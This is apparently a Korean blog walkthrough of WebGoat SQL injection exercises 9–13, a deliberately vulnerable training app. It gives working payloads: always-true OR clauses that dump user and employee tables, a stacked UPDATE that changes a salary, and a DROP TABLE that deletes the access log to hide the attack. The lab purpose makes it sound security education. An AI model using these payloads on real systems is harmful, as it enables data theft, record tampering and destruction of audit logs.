9번
last_name 안에 적절한 쿼리를 입력해서 모든 유저의 테이블을 볼 수 있게 하는 문제이다.
이 문제를 풀기 위해서는 SQL의 where문 안의 우선순위를 알아야 한다.
where문 안에 and와 or가 같이 있다면 and를 먼저 수행하고 or를 나중에 수행한다.
where안의 조건이 항상 true가 되기 위해서는 다음과 같이 SQL를 만들면 된다.
SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '' or '1'=1';
first_name과 last_name의 true 여부와 관계없이 or 문 뒤에 '1' = '1'는 항상 true이기 때문에 where문은 항상 true가 된다.
10번
Login_Count와 User_Id에 적절한 문장을 입력하여 주어진 select 쿼리에 SQL injection을 시도하는 문제이다.
이 문제 역시 모든 user_data를 출력하기 위해서는 where문을 true로 만들어야 한다.
Login_Count와 User_Id는 모두 숫자이므로 따옴표에 대해서는 신경 쓰지 않아도 된다.
and와 or을 적절히 조합하여 where 조건을 항상 true로 만들어주면 된다.
SELECT * FROM user_data WHERE login_count = 0 AND userid = 0 or 1=1;
물론 0이 아닌 아무 숫자나 대입하여도 똑같이 성공한다.
11번
employees 테이블의 모든 employee들의 대한 정보를 꺼내와야 하는 문제이다.
이번 문제는 String을 입력받기 때문에 따옴표에 신경을 써줘야 한다.
이 문제 역시 이전 문제들과 동일한 방식으로 접근하면 된다.
SELECT * FROM employees WHERE last_name = 'xx' and auth_tan = 'xx' or '1' = '1';
물론 xx를 입력하지 않고 비워놔도 된다.
12번
Table에 접근을 해서 Smith의 salary를 Tobi와 Bob보다 높게 만들어야 하는 문제이다.
먼저 Table의 구조를 알기 위해서 다음과 같이 입력하였다.
이제 Smith의 salary를 Tobi와 Bob보다 높게 하기 위해 update 쿼리를 날려보겠다.
Employee Name에 다음과 같은 문장을 입력하였다.
'; update employees set salary = 90000 where last_name = 'Smith';--
실제로 DB에 실행되는 쿼리는 다음과 같다.
SELCET * FROM employees WHERE last_name = '';
update employees set salary = 90000 where last_name = 'Smith';--
문장 마지막에 --을 입력해 주어 뒤에 있는 Authentication TAN에 대한 쿼리는 주석처리 해주었다.
13번
우리가 SQL Injection을 하면서 남았던 로그들이 저장된 access_log 테이블을 지우는 문제이다.
기본적으로 단어를 입력하면 단어와 일치하는 부분이 있는 로그를 보여주는 기능을 한다.
입력한 단어를 포함하는 문장을 검색하기 위해서는 SELECT문과 like가 사용되었을 것이다.
SELECT * FROM access_log WHERE action LIKE '%[검색어]%';
위와 같은 형태의 쿼리가 실행될 것이라 예상할 수 있다.
그래서 SELECT 문 뒤에 테이블을 DROP 하는 쿼리를 추가하여 실행시키면 된다.
'; drop table access_log;--
총 실행되는 쿼리는 다음과 같다.
SELECT * FROM access_log WHERE action LIKE ''; drop table access_log;--
'WebGoat' 카테고리의 다른 글
[WebGoat] Hijack a session 풀이 (3) | 2023.04.08 |
---|